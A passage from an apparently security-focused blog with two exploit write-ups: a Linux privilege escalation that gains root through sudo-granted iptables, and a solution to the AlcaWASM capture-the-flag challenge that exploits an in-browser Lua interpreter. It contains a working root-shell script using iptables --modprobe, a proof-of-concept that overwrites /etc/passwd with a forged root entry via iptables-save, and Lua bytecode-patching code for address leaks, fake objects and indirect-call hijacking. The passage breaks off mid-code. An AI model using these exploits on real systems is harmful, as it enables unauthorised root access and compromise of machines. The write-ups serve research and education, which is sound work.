1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48int xtables_insmod(const char *modname, const char *modprobe, bool quiet) { char *buf = NULL; char *argv[4]; int status; /* If they don't explicitly set it, read out of kernel */ if (!modprobe) { buf = get_modprobe(); if (!buf) return -1; modprobe = buf; } /* * Need to flush the buffer, or the child may output it again * when switching the program thru execv. */ fflush(stdout); switch (vfork()) { case 0: argv[0] = (char *)modprobe; argv[1] = (char *)modname; if (quiet) { argv[2] = "-q"; argv[3] = NULL; } else { argv[2] = NULL; argv[3] = NULL; } execv(argv[0], argv); /* not usually reached */ exit(1); case -1: free(buf); return -1; default: /* parent */ wait(&status); } free(buf); if (WIFEXITED(status) && WEXITSTATUS(status) == 0) return 0; return -1; }

Wrapping all together, if we can run iptables as root then we can abuse it to run arbitrary system commands and with the following script being greeted with an interactive root shell:

1 2 3 4 5#!/bin/bash echo -e "/bin/bash -i" > run-me chmod +x run-me sudo iptables -L -t nat --modprobe=./run-me

EOF?

While this technique is quite powerful, it has an important requirement: the kernel modules iptables is trying to access should not be loaded.

(Un)fortunately, in most of the modern Linux distributions they are, making the attack impracticable. That being said, it is still powerful when it comes to embedded devices as demonstrated by Giulio.

What about our target? Unlikely it had all the kernel modules loaded, so this technique couldn’t be applied. Time to find a new one then 👀

フュージョン

Time for the Metamoran Fusion Dance!

The lab

Before diving into the privilege escalation steps, let’s setup a little lab to experiment with.

To test this, you can do the following things on a fresh Ubuntu 24.04 LTS machine:

  1. Install the iptables package via apt-get.
  2. Add the following lines to the /etc/sudoers file:
1 2user ALL=(ALL) NOPASSWD: /usr/bin/iptables user ALL=(ALL) NOPASSWD: /usr/bin/iptables-save
  1. Comment out, in the same file, the line:
1%sudo ALL=(ALL:ALL) ALL

As expected, running sudo -l will yield the following response:

1 2 3 4 5 6 7user@ubuntu:~$ sudo -l Matching Defaults entries for user on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User user may run the following commands on ubuntu: (ALL) NOPASSWD: /usr/bin/iptables (ALL) NOPASSWD: /usr/bin/iptables-save

So either running sudo iptables or sudo iptables-save executes the command without asking for authentication.

In the next section, we’ll see how an attacker in this system can escalate their privileges to root.

Evilege Priscalation

This section will demonstrate how core and side features of the iptables and iptables-save commands, plus some Linux quirks, can be chained together in order to obtain arbitrary code execution.

Spoiler alert, it boils down to these three steps:

  1. Using the comment functionality offered by iptables to attach arbitrary comments, containing newlines, to rules.
  2. Leverage iptables-save to dump to a sensitive file the content of the loaded rules, including the comment payloads.
  3. Exploiting step 1 and step 2 to overwrite the /etc/passwd file with an attacker-controlled root entry, crafted with a known password.

In the following sections, we will give some more details on these steps.

Step 1: Commenting Rules via iptables

Let’s consider a simple iptables command to add a firewall rule:

1sudo iptables -A INPUT -i lo -j ACCEPT

the effect of this rule is to append a rule to the input chain to accept every inbound packet where the input interface is the local one. We can immediately verify the effect of this rule by running sudo iptables -L. The output of this command, as expected, contains the ACCEPT rule that we just loaded.

By looking into interesting flags supported by iptables, we stumble on this one:

comment

Allows you to add comments (up to 256 characters) to any rule. –comment comment Example: iptables -A INPUT -s 192.168.0.0/16 -m comment –comment “A privatized IP block”

Let’s test this by slightly modifying our previous rule:

1sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"

Then again, listing the rules, we can see the effect of the comment:

1 2 3 4 5 6 7 8 9 10Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT all -- anywhere anywhere ACCEPT all -- anywhere anywhere /* Allow packets to localhost */ Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination

iptables also provides a way to simply dump all the loaded rules, by running iptables -S:

1 2 3 4 5-P INPUT ACCEPT -P FORWARD ACCEPT -P OUTPUT ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT

How much can we control this output? A simple test is to insert a newline:

1sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'

NOTE

By using the $’ quoting, we can instruct bash to replace the \n character with a newline!

Now, let’s dump again the loaded rules to check whether the newline was preserved:

1 2 3 4 5 6 7 8$ sudo iptables -S -P INPUT ACCEPT -P FORWARD ACCEPT -P OUTPUT ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost This rule rocks!" -j ACCEPT

This is definitely interesting – we’ve established that iptables preserves newlines in comments, which means that we can control multiple arbitrary lines in the output of an iptables rule dump.

…can you guess how this can be leveraged?

Step 2: Arbitrary File Overwrite via iptables-save

Before starting to shoot commands out, let’s RTFM:

iptables-save and ip6tables-save are used to dump the contents of IP or IPv6 Table in easily parseable format either to STDOUT or to a speci‐ fied file.

If this man page is right (it probably is), by simply running iptables-save without specifying any file, the rules will be dumped to STDOUT:

1 2 3 4 5 6 7 8 9 10 11 12$ sudo iptables-save # Generated by iptables-save v1.8.10 (nf_tables) on Tue Aug 13 19:50:55 2024 *filter :INPUT ACCEPT [936:2477095] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [0:0] -A INPUT -i lo -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT -A INPUT -i lo -m comment --comment "Allow packets to localhost This rule rocks!" -j ACCEPT COMMIT # Completed on Tue Aug 13 19:50:55 2024

it seems iptables-save, too, is preserving the injected newline. Now that we know this, we can proceed to test its functionality by specifying a filename, supplying the -f switch. The output shows us we’re onto a good path:

The screenshot gives us two important informations:

  1. We can control arbitrary lines on the file written by iptables-save.
  2. Since this is running with sudo, the file is owned by root.

Where can we point this armed weapon? Onto the next section!

Step 3: Crafting Root Users

Recap: by leveraging arbitrary comments containing \n via iptables, and running iptables-save, we can write arbitrary files as root, and we partially control its lines – partially, yes, because the iptables-save outputs some data that can’t be controlled, before and after our injected comment.

How can this be useful? Well, there’s at least one way to turn this into a good privilege escalation, and it is thanks to the (in)famous /etc/passwd file. In fact, this file contains entries for each user that can log into the system, which includes metadata such as the hash of the password, and the UID of the user. Can you see where this is going?

Yes, we’re going to write a perfectly valid passwd root entry into an iptables rule, and we’re going to overwrite the /etc/passwd file via iptables-save. Since the injected line will also contain the password hash of the user, after the overwrite happens, we should be able to simply run su root and input the injected password.

At this point, we only have one doubt: will the other lines (which are not valid entries) break the system beyond repair? Clearly, there’s only one way to find out.

Proof of Concept

The steps to reproduce the privilege escalation are simple:

  1. Encrypt the new root password in the right format by running openssl passwd <password>
  2. Take the entry for root in the /etc/passwd, and copy it somewhere, replacing the x value of the encrypted password with the value generated at step 2
  3. Inject the forged root entry in a new iptables rule comment
  1. Overwrite /etc/passwd by running sudo iptables-save -f /etc/passwd
  1. Verify that you can now su root with the password chosen at step 1

Limitations & Possible Improvements

The main limitation of this technique lies in its reduced likelihood: in fact, in order for the privilege escalation to be executed, a user must be granted sudo on both the iptables and iptables-save commands; while this certainly happens in the wild, it would be great if we could make this scenario even more likely. This might be doable: iptables-save is actually part of the iptables suite, as the latter supports an argv[0]-based aliasing mechanism to select from the full suite the command to run. Therefore, if it were possible to force iptables to act as iptables-save, then the iptables-save command would not be necessary anymore.

Moreover, while for this scenario overwriting /etc/passwd was provably enough, your imagination is the limit: there might be other interesting gadgets to use in a Linux system! Mostly, the requirements for a “good” overwrite target are:

  • It must split “entries” by newlines.
  • It must ignore invalid, junk lines.
Posted in Cyber Attacks, Exploits, Programming, VulnerabilityTagged Cyber Attacks, Data Security, malware, Programming, Ransomware, vulnerabilityLeave a comment

AlcaWASM Challenge Writeup – Pwning an In-Browser Lua Interpreter

Posted on November 3, 2024 - November 3, 2024 by Maq Verma

Introduction

At some point, some weeks ago, I’ve stumbled upon this fascinating read. In it, the author thoroughly explains an RCE (Remote Code Execution) they found on the Lua interpreter used in the Factorio game. I heartily recommend anyone interested in game scripting, exploit development, or just cool low-level hacks, to check out the blogpost – as it contains a real wealth of insights.

The author topped this off by releasing a companion challenge to the writeup; it consists of a Lua interpreter, running in-browser, for readers to exploit on their own. Solving the challenge was a fun ride and a great addition to the content!

The challenge is different enough from the blogpost that it makes sense to document a writeup. Plus, I find enjoyment in writing, so there’s that.

I hope you’ll find this content useful in your journey 🙂

Instead of repeating concepts that are – to me – already well explained in that resource, I have decided to focus on the new obstacles that I faced while solving the challenge, and on new things I learned in the process. If at any point the content of the writeup becomes cryptic, I’d suggest consulting the blogpost to get some clarity on the techniques used.

The Lab

The challenge is available for anyone at https://alcawasm.memorycorruption.net/ (and it does not require any login or registration).

When visiting it, you’re welcomed by the following UI:

AltImage

These are the details of each section:

  • Editor: an embedded VSCode for convenient scripting.
  • Console: a console connected to the output of the Lua interpreter.
  • Definitions: Useful definitions of the Lua interpreter, including paddings.
  • Goals: a list of objectives towards finishing the challenge. They automatically update when a goal is reached, but I’ve found this to be a bit buggy, TBH.

Working on the UI is not too bad, but I strongly suggest to copy-paste the code quite often – I don’t know how many times I’ve typed CMD+R instead of CMD+E (the shortcut to execute the code), reloading the page and losing my precious experiments.

Information Gathering

After playing for a bit with the interpreter, I quickly decided I wanted to save some time for my future self by understanding the environment a little bit better.

Note: this is, in my experience, a great idea. Always setup your lab!

Luckily, this is as easy as opening DevTools and using our uberly refined l33t intuition skills to find how the Lua interpreter was embedded in the browser:

AltText

and a bit of GitHub…

AltText

With these mad OSINT skillz, I learned that the challenge is built with wasmoon, a package that compiles the Lua v5.4 repository to WASM and then provides JS bindings to instantiate and control the interpreter.

This assumption is quickly corroborated by executing the following:

print(_VERSION)

This prints out Lua 5.4 (you should try executing that code to start getting comfortable with the interface).

This information is valuable for exploitation purposes, as it gives us the source code of the interpreter, which can be fetched by cloning the lua repository.

Let’s dive in!

Wait, it’s all TValues?

The first goal of the challenge is to gain the ability to leak addresses of TValues (Lua variables) that we create – AKA the addrof primitive.

In the linked blogpost, the author shows how to confuse types in a for-loop to gain that. In particular, they use the following code to leak addresses:

asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end):gsub("\x61\0\0\x80", "\x17\0\0\128"))

foo = "Memory Corruption"

print(asnum(foo))

The gsub call patches the bytecode of the function to replace the FORPREP instruction. Without the patch, the interpreter would raise an error due to a non-numeric step parameter.

Loading this code in the challenge interface leads to an error:

Error: [string "asnum = load(string.dump(function(x)..."]:2: bad 'for' step (number expected, got string)

This is not too surprising, isn’t it? Since we are dealing with a different version of the interpreter, the bytes used in the gsub patch are probably wrong.

Fixing the patch

No worries, though, as the interpreter in the challenge is equipped with two useful features:

  • asm -> assembles Lua instructions to bytes
  • bytecode -> pretty-prints the bytecode of the provided Lua function

Let’s inspect the bytecode of the for loop function to understand what is there we have to patch:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end))

print(bytecode(asnum))

# Output
function <(string):1,3> (7 instructions at 0x1099f0)
1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions
	1	7fff8081	[2]	LOADI    	1 0
	2	00000103	[2]	LOADK    	2 0	; 1000000000000
	3	00000180	[2]	MOVE     	3 0
	4	000080ca	[2]	FORPREP  	1 1	; exit to 7 <--- INSTRUCTION to PATCH
	5	00020248	[2]	RETURN1  	4
	6	000100c9	[2]	FORLOOP  	1 2	; to 5
	7	000100c7	[3]	RETURN0  	
constants (1) for 0x1099f0:
	0	1000000000000
locals (5) for 0x1099f0:
	0	x	1	8
	1	(for state)	4	7
	2	(for state)	4	7
	3	(for state)	4	7
	4	i	5	6
upvalues (0) for 0x1099f0:

The instruction to patch is the FORPREP. Represented in little endian, its binary value is 0xca800000.

We will patch it with a JMP 1. by doing so, the flow will jump to the FORLOOP instruction, which will increment the index with the value of the x step parameter. This way, by leveraging the type confusion, the returned index will contain the address of the TValue passed as input.

The next step is to assemble the target instruction:

# Code
print(string.format("%4x", asm("JMP", 1, 0)))

# Output
80000038

And we can then verify that the patching works as expected:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

print(bytecode(asnum))

# Output
function <(string):1,3> (7 instructions at 0x10df28)
1 param, 5 slots, 0 upvalues, 5 locals, 1 constant, 0 functions
	1	7fff8081	[2]	LOADI    	1 0
	2	00000103	[2]	LOADK    	2 0	; 1000000000000
	3	00000180	[2]	MOVE     	3 0
	4	80000038	[2]	JMP      	1	; to 6 <--- PATCHING WORKED!
	5	00020248	[2]	RETURN1  	4
	6	000100c9	[2]	FORLOOP  	1 2	; to 5
	7	000100c7	[3]	RETURN0  	
constants (1) for 0x10df28:
	0	1000000000000
locals (5) for 0x10df28:
	0	x	1	8
	1	(for state)	4	7
	2	(for state)	4	7
	3	(for state)	4	7
	4	i	5	6
upvalues (0) for 0x10df28:

Leak Denied

By trying to leak a TValue result with the type confusion, something is immediately off:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

foo = function() print(1) end
print("foo:", foo)

print("leak:",asnum(foo))

# Output
foo:	LClosure: 0x10a0c0
leak:     <--- OUTPUT SHOULD NOT BE NULL!

As a reliable way to test the addrof primitive, I am using functions. In fact, by default, when passing a function variable to the print function in Lua, the address of the function is displayed. We can use this to test if our primitive works.

From this test, it seems that the for loop is not returning the address leak we expect. To find out the reason about this, I took a little break and inspected the function responsible for this in the source code. The relevant snippets follow:

[SNIP]
      vmcase(OP_FORLOOP) {
        StkId ra = RA(i);
        if (ttisinteger(s2v(ra + 2))) {  /* integer loop? */
          lua_Unsigned count = l_castS2U(ivalue(s2v(ra + 1)));
          if (count > 0) {  /* still more iterations? */
            lua_Integer step = ivalue(s2v(ra + 2));
            lua_Integer idx = ivalue(s2v(ra));  /* internal index */
            chgivalue(s2v(ra + 1), count - 1);  /* update counter */
            idx = intop(+, idx, step);  /* add step to index */
            chgivalue(s2v(ra), idx);  /* update internal index */
            setivalue(s2v(ra + 3), idx);  /* and control variable */
            pc -= GETARG_Bx(i);  /* jump back */
          }
        }
        else if (floatforloop(ra))  /* float loop */ <--- OUR FLOW GOES HERE
          pc -= GETARG_Bx(i);  /* jump back */
        updatetrap(ci);  /* allows a signal to break the loop */
        vmbreak;
      }

[SNIP]

/*
** Execute a step of a float numerical for loop, returning
** true iff the loop must continue. (The integer case is
** written online with opcode OP_FORLOOP, for performance.)
*/
static int floatforloop (StkId ra) {
  lua_Number step = fltvalue(s2v(ra + 2));
  lua_Number limit = fltvalue(s2v(ra + 1));
  lua_Number idx = fltvalue(s2v(ra));  /* internal index */
  idx = luai_numadd(L, idx, step);  /* increment index */
  if (luai_numlt(0, step) ? luai_numle(idx, limit) <--- CHECKS IF THE LOOP MUST CONTINUE
                          : luai_numle(limit, idx)) {
    chgfltvalue(s2v(ra), idx);  /* update internal index */ <--- THIS IS WHERE THE INDEX IS UPDATED
    setfltvalue(s2v(ra + 3), idx);  /* and control variable */
    return 1;  /* jump back */
  }
  else
    return 0;  /* finish the loop */
}

Essentially, this code is doing the following:

  • If the loop is an integer loop (e.g. the TValue step has an integer type), the function is computing the updates and checks inline (but we don’t really care as it’s not our case).
  • If instead (as in our case) the step TValue is not an integer, execution reaches the floatforloop function, which takes care of updating the index and checking the limit.
    • The function increments the index and checks if it still smaller than the limit. In that case, the index will be updated and the for loop continues – this is what we want!

We need to make sure that, once incremented with the x step (which, remember, is the address of the target TValue), the index is not greater than the limit (the number 1000000000000, in our code). Most likely, the problem here is that the leaked address, interpreted as an IEEE 754 double, is bigger than the constant used, so the execution never reaches the return i that would return the leak.

We can test this assumption by slightly modifying the code to add a return value after the for-loop ends:

# Code
asnum = load(string.dump(function(x)
    for i = 0, 1000000000000, x do return i end
    return -1 <--- IF x > 1000000000000, EXECUTION WILL GO HERE 
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

foo = function() print(1) end
print("foo:", foo)

print("leak:",asnum(foo))

# Output
foo:	LClosure: 0x10df18
leak:	-1 <--- OUR GUESS IS CONFIRMED

There’s a simple solution to this problem: by using x as both the step and the limit, we are sure that the loop will continue to the return statement.

The leak experiment thus becomes:

# Code
asnum = load(string.dump(function(x)
    for i = 0, x, x do return i end
end):gsub("\xca\x80\0\0", "\x38\0\0\x80"))

foo = function() print(1) end
print("foo:", foo)

print("leak:",asnum(foo))

# Output
foo:	LClosure: 0x10a0b0
leak:	2.3107345851353e-308

Looks like we are getting somewhere.

However, the clever will notice that the address of the function and the printed leaks do not seem to match. This is well explained in the original writeup: Lua thinks that the returned address is a double, thus it will use the IEEE 754 representation. Indeed, in the blogpost, the author embarks on an adventurous quest to natively transform this double in the integer binary representation needed to complete the addrof primitive.

We don’t need this. In fact, since Lua 5.3, the interpreter supports integer types!

This makes completing the addrof primitive a breeze, by resorting to the native string.pack and string.unpack functions:

# Code
asnum = load(string.dump(function(x)
    for i = 0, x, x do return i end
end):gsub("\xca\x80\x00\x00", "\x38\x00\x00\x80"))

function addr_of(variable)
  return string.unpack("L", string.pack("d", asnum(variable)))
end

foo = function() print(1) end
print("foo:", foo)

print(string.format("leak: 0x%2x",addr_of(foo)))
# Output
foo:	LClosure: 0x10a0e8
leak: 0x10a0e8

Good, our leak now finally matches the function address!

Note: another way to solve the limit problem is to use the maximum double value, which roughly amounts to 2^1024.

Trust is the weakest link

The next piece of the puzzle is to find a way to craft fake objects.

For this, we can pretty much use the same technique used in the blogpost:

# Code 

confuse = load(string.dump(function()
    local foo
    local bar
    local target
    return (function() <--- THIS IS THE TARGET CLOSURE WE ARE RETURNING
      (function()
        print(foo)
        print(bar)
        print("Leaking outer closure: ",target) <--- TARGET UPVALUE SHOULD POINT TO THE TARGET CLOSURE
      end)()
    end)
end):gsub("(\x01\x00\x00\x01\x01\x00\x01)\x02", "%1\x03", 1))

outer_closure = confuse()
print("Returned outer closure:", outer_closure)

print("Calling it...")
outer_closure()


# Output

Returned outer closure:	LClosure: 0x109a98
Calling it...
nil
nil
Leaking outer closure: 	LClosure: 0x109a98 <--- THIS CONFIRMS THAT THE CONFUSED UPVALUE POINTS TO THE RIGHT THING

Two notable mentions here:

  1. Again, in order to make things work with this interpreter I had to change the bytes in the patching. In this case, as the patching happens not in the opcodes but rather in the upvalues of the functions, I resorted to manually examining the bytecode dump to find a pattern that seemed the right one to patch – in this case, what we are patching is the “upvals table” of the outer closure.
  2. We are returning the outer closure to verify that the upvalue confusion is working. In fact, in the code, I’m printing the address of the outer closure (which is returned by the function), and printing the value of the patched target upvalue, and expecting them to match.

From the output of the interpreter, we confirm that we have successfully confused upvalues.

If it looks like a Closure

Ok, we can leak the outer closure by confusing upvalues. But can we overwrite it? Let’s check:


# Code

confuse = load(string.dump(function()
    local foo
    local bar
    local target
    return (function()
      (function()
        print(foo)
        print(bar)
        target = "AAAAAAAAA"
      end)()
      return 10000000
    end)(), 1337
end):gsub("(\x01\x00\x00\x01\x01\x00\x01)\x02", "%1\x03", 1))

confuse()

# Output

nil
nil
RuntimeError: Aborted(segmentation fault)

Execution aborted with a segmentation fault.

To make debugging simple, and ensure that the segmentation fault depends on a situation that I could control, I’ve passed the same script to the standalone Lua interpreter cloned locally, built with debugging symbols.

What we learn from GDB confirms this is the happy path:

AltText

After the inner function returns, the execution flow goes back to the outer closure. In order to execute the return 100000000 instruction, the interpreter will try fetching the constants table from the closure -> which will end up in error because the object is not really a closure, but a string, thanks to the overwrite in the inner closure.

…except this is not at all what is happening in the challenge.

Thanks for all the definitions

If you try to repeatedly execute (in the challenge UI) the script above, you will notice that sometimes the error appears as a segmentation fault, other times as an aligned fault, and other times it does not even errors.

The reason is that, probably due to how wasmoon is compiled (and the fact that it uses WASM), some of the pointers and integers will have a 32 bit size, instead of the expected 64. The consequence of this is that many of the paddings in the structs will not match what we have in standalone Lua interpreter!

Note: while this makes the usability of the standalone Lua as a debugging tool…questionable, I think it was still useful and therefore I’ve kept it in the writeup.

This could be a problem, for our exploit-y purposes. In the linked blogpost, the author chooses the path of a fake constants table to craft a fake object. This is possible because of two facts:

  1. In the LClosure struct, the address of its Proto struct, which holds among the other things the constants values, is placed 24 bytes after the start of the struct.
  2. In the TString struct, the content of the string is placed 24 bytes after the start of the struct.

Therefore, when replacing an LClosure with a TString via upvalues confusion, the two align handsomely, and the attacker thus controls the Proto pointer, making the chain work.

However, here’s the definitions of LClosure and TString for the challenge:

struct TString {
    +0: (struct GCObject *) next
    +4: (typedef lu_byte) tt
    +5: (typedef lu_byte) marked
    +6: (typedef lu_byte) extra
    +7: (typedef lu_byte) shrlen
    +8: (unsigned int) hash
    +12: (union {
        size_t lnglen;
        TString *hnext;
    }) u
    +16: (char[1]) contents <--- CONTENTS START AFTER 16 BYTES
}

...

struct LClosure {
    +0: (struct GCObject *) next
    +4: (typedef lu_byte) tt
    +5: (typedef lu_byte) marked
    +6: (typedef lu_byte) nupvalues
    +8: (GCObject *) gclist
    +12: (struct Proto *) p <--- PROTO IS AFTER 12 BYTES
    +16: (UpVal *[1]) upvals
}

Looking at the definition, it is now clear why the technique used in the blogpost would not work in this challenge: because even if we can confuse a TString with an LClosure, the bytes of the Proto pointer are not under our control!

AltText

Of course, there is another path.

Cheer UpValue

In the linked blogpost, the author mentions another way of crafting fake objects that doesn’t go through overwriting the Prototype pointer. Instead, it uses upvalues.

By looking at the definitions listed previously, you might have noticed that, while the Proto pointer in the LClosure cannot be controlled with a TString, the pointer to the upvals array is instead nicely aligned with the start of the string contents.

Indeed, the author mentions that fake objects can be created via upvalues too (but then chooses another road).

To see how, we can inspect the code of the GETUPVAL opcode in Lua, the instruction used to retrieve upvalues:


struct UpVal {
    +0: (struct GCObject *) next
    +4: (typedef lu_byte) tt
    +5: (typedef lu_byte) marked
    +8: (union {
        TValue *p;
        ptrdiff_t offset;
    }) v
    +16: (union {
        struct {
            UpVal *next;
            UpVal **previous;
        };
        UpVal::(unnamed struct) open;
        TValue value;
    }) u
}

...

vmcase(OP_GETUPVAL) {
  StkId ra = RA(i);
  int b = GETARG_B(i);
  setobj2s(L, ra, cl->upvals[b]->v.p);
  vmbreak;
} 

The code visits the cl->upvals array, navigates to the bth element, and takes the pointer to the TValue value v.p.

All in all, what we need to craft a fake object is depicted in the image below:

AltText

This deserves a try!

Unleash the beast

A good test of our object artisanship skills would be to create a fake string and have it correctly returned by our craft_object primitive. We will choose an arbitrary length for the string, and then verify whether Lua agrees on its length once the object is crafted. This should confirm the primitive works.

Down below, I will list the complete code of the experiment, which implements the diagram above:

local function ubn(n, len)
  local t = {}
  for i = 1, len do
      local b = n % 256
      t[i] = string.char(b)
      n = (n - b) / 256
  end
  return table.concat(t)
end

asnum = load(string.dump(function(x)
    for i = 0, x, x do return i end
end):gsub("\xca\x80\x00\x00", "\x38\x00\x00\x80"))

function addr_of(variable)
  return string.unpack("L", string.pack("d", asnum(variable)))
end

-- next + tt/marked/extra/padding/hash + len
fakeStr = ubn(0x0, 12) .. ubn(0x1337, 4)
print(string.format("Fake str at: 0x%2x", addr_of(fakeStr)))

-- Value + Type (LUA_VLNGSTRING = 0x54)
fakeTValue = ubn(addr_of(fakeStr) + 16, 8) .. ubn(0x54, 1)
print(string.format("Fake TValue at: 0x%2x", addr_of(fakeTValue)))

-- next + tt/marked + v
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeTValue) + 16, 8)
print(string.format("Fake Upvals at: 0x%2x", addr_of(fakeUpvals)))

-- upvals
fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)
print(string.format("Fake Closureat : 0x%2x", addr_of(fakeClosure)))

craft_object = string.dump(function(closure)
    local foo
    local bar
    local target
    return (function(closure)
      (function(closure)
        print(foo)
        print(bar)
        print(target)
        target = closure
      end)(closure)
      return _ENV
    end)(closure), 1337
end)

craft_object = craft_object:gsub("(\x01\x01\x00\x01\x02\x00\x01)\x03", "%1\x04", 1)
craft_object = load(craft_object)
crafted = craft_object(fakeClosure)
print(string.format("Crafted string length is %x", #crafted))

Note: as you can see, in the outer closure, I am returning the faked object by returning the _ENV variable. This is the first upvalue of the closure, pushed automatically by the interpreter for internal reasons. This way, I am instructing the interpreter to return the first upvalue in the upvalues array, which points to our crafted UpValue.

The output of the script confirms that our object finally has citizenship:

Fake str at: 0x10bd60
Fake TValue at: 0x112c48
Fake Upvals at: 0x109118
Fake Closureat : 0x109298
nil
nil
LClosure: 0x10a280
Crafted string length is 1337 <--- WE PICKED THIS LENGTH!

Escape from Alcawasm

In the linked blogpost, the author describes well the “superpowers” that exploit developers gain by being able to craft fake objects.

Among these, we have:

  • Arbitrary read
  • Arbitrary write
  • Control over the Instruction Pointer

In this last section, I’ll explain why the latter is everything we need to complete the challenge.

To understand how, it’s time to go back to the information gathering.

(More) Information Gathering

The description of the challenge hints that, in the WASM context, there is some kind of “win” function that cannot be invoked directly via Lua, and that’s the target of our exploit.

Inspecting the JS code that instantiates the WASM assembly gives some more clarity on this:

  a || (n.global.lua.module.addFunction((e => {
      const t = n.global.lua.lua_gettop(e)
        , r = [];
      for (let a = 1; a <= t; a++)
          switch (n.global.lua.lua_type(e, a)) {
          case 4:
              r.push(n.global.lua.lua_tolstring(e, a));
              break;
          case 3:
              r.push(n.global.lua.lua_tonumberx(e, a));
              break;
          default:
              console.err("Unhandled lua parameter")
          }
      return 1 != r.length ? self.postMessage({
          type: "error",
          data: "I see the exit, but it needs a code to open..."
      }) : 4919 == r[0] ? self.postMessage({
          type: "win"
      }) : self.postMessage({
          type: "error",
          data: "Invalid parameter value, maybe more l333t needed?"
      }),
      0
  }
  ), "ii"),

Uhm, I’m no WASM expert, but it looks like this piece of code might just be the “win” function I was looking for.

Its code is not too complex: the function takes a TValue e as input, checks its value, converting it either to string or integer, and stores the result into a JS array. Then, the value pushed is compared against the number 4919 (0x1337 for y’all), and if it matches, the “win” message is sent (most likely then granting the final achievement).

Looking at this, it seems what we need to do is to find a way to craft a fake Lua function that points to the function registered by n.global.lua.module.addFunction, and invoke it with the 0x1337 argument.

But how does that addFunction work, and how can we find it in the WASM context?

Emscripten

Googling some more leads us to the nature of the addFunction:

https://emscripten.org/docs/porting/connecting_cpp_and_javascript/Interacting-with-code.html#calling-javascript-functions-as-function-pointers-from-c

You can use addFunction to return an integer value that represents a function pointer. Passing that integer to C code then lets it call that value as a function pointer, and the JavaScript function you sent to addFunction will be called.

Thus, it seems that wasmoon makes use of Emscripten, the LLVM-based WASM toolchain, to build the WASM module containing the Lua interpreter.

And, as it seems, Emscripten provides a way to register JavaScript functions that will become “callable” in the WASM. Digging a little more, and we see how the addFunction API is implemented:

https://github.com/emscripten-core/emscripten/blob/1f519517284660f4b31ef9b7f921bf6ba66c4041/src/library_addfunction.js#L196
SNIP
    var ret = getEmptyTableSlot();

    // Set the new value.
    try {
      // Attempting to call this with JS function will cause of table.set() to fail
      setWasmTableEntry(ret, func);
    } catch (err) {
      if (!(err instanceof TypeError)) {
        throw err;
      }
  #if ASSERTIONS
      assert(typeof sig != 'undefined', 'Missing signature argument to addFunction: ' + func);
  #endif
      var wrapped = convertJsFunctionToWasm(func, sig);
      setWasmTableEntry(ret, wrapped);
    }

    functionsInTableMap.set(func, ret);

    return ret;

SNIP
  },

Essentially, the function is being added to the WebAssembly functions table.

Now again, I’ll not pretend to be a WASM expert – and this is also why I decided to solve this challenge. Therefore, I will not include too many details on the nature of this functions table.

What I did understand, though, is that WASM binaries have a peculiar way of representing function pointers. They are not actual “addresses” pointing to code. Instead, function pointers are integer indices that are used to reference tables of, well, functions. And a module can have multiple function tables, for direct and indirect calls – and no, I’m not embarrassed of admitting I’ve learned most of this from ChatGPT.

Now, to understand more about this point, I placed a breakpoint in a pretty random spot of the WebAssembly, and then restarted the challenge – the goal was to stop in a place where the chrome debugger had context on the executing WASM, and explore from there.

The screenshot below was taken from the debugger, and it shows variables in the scope of the execution:

AltText

Please notice the __indirect_function_table variable: it is filled with functions, just as we expected.

Could this table be responsible for the interface with the win function? To find this out, it should be enough to break at some place where we can call the addFunction, call it a few times, then stop again inside the wasm and check if the table is bigger:

AltText

And the result in the WASM context, afterwards:

AltText

Sounds like our guess was spot on! Our knowledge so far:

  • The JS runner, after instantiating the WASM, invokes addFunction on it to register a win function
  • The win function is added to the __indirect_function_table, and it can be called via its returned index
  • The win function is the 200th function added, so we know the index (199)

The last piece, here, is figure out how to trigger an indirect call in WASM from the interpreter, using the primitives we have obtained.

Luckily, it turns out this is not so hard!

What’s in an LClosure

In the blogpost, I’ve learned that crafting fake objects can be used to control the instruction pointer.

This is as easy as crafting a fake string, and it’s well detailed in the blogpost. Let’s try with the same experiment:


# Code
SNIP

-- function pointer + type
fakeFunction = ubn(0xdeadbeef, 8) .. ubn(22, 8)
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeFunction) + 16, 8)
fakeClosure = ubn(addr_of(fakeUpvals) + 16, 8)

crafted_func = craft_object(fakeClosure)
crafted_func()

# Output
SNIP
RuntimeError: table index is out of bounds

The error message tells us that the binary is trying to index a function at an index that is out of bound.

Looking at the debugger, this makes a lot of sense, as the following line is the culprit for the error:

call_indirect (param i32) (result i32)

Bingo! This tells us that our fake C functoin is precisely dispatching a WASM indirect call.

At this point, the puzzle is complete 🙂

Platinum Trophy

Since we can control the index of an indirect call (which uses the table of indirect functions) and we know the index to use for the win function, we can finish up the exploit, supplying the correct parameter:


# Code
-- function pointer (win=199) + type 
fakeFunction = ubn(199, 8) .. ubn(22, 8)
fakeUpvals = ubn(0x0, 8) .. ubn(addr_of(fakeFunction) + 16, 8)
